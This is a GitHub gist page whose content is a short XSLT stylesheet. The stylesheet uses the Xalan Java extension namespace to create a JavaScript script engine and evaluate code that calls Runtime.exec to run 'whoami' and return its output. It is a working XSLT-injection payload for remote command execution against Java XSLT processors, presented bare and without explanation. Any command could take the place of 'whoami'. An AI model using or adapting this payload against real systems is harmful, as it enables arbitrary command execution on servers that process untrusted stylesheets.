Created
June 14, 2023 23:09
-
-
Save neolead/d11a1ae943de88aadf7bdd43b82f7170 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<xsl:stylesheet version="1.0" | |
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:j="http://xml.apache.org/xalan/java" exclude-result-prefixes="j" | |
> | |
<xsl:template match="/"> | |
<xsl:variable name="sem" select="j:javax.script.ScriptEngineManager.new()"/> | |
<xsl:variable name="se" select="j:getEngineByName($sem, 'JavaScript')"/> | |
<xsl:variable name="js"> | |
<![CDATA[ | |
new java.util.Scanner( | |
java.lang.Runtime.getRuntime().exec("whoami ").getInputStream() | |
).useDelimiter("\\Z").next() | |
]]> | |
</xsl:variable> | |
<xsl:value-of select="j:eval($se, $js)"/> | |
</xsl:template> | |
</xsl:stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment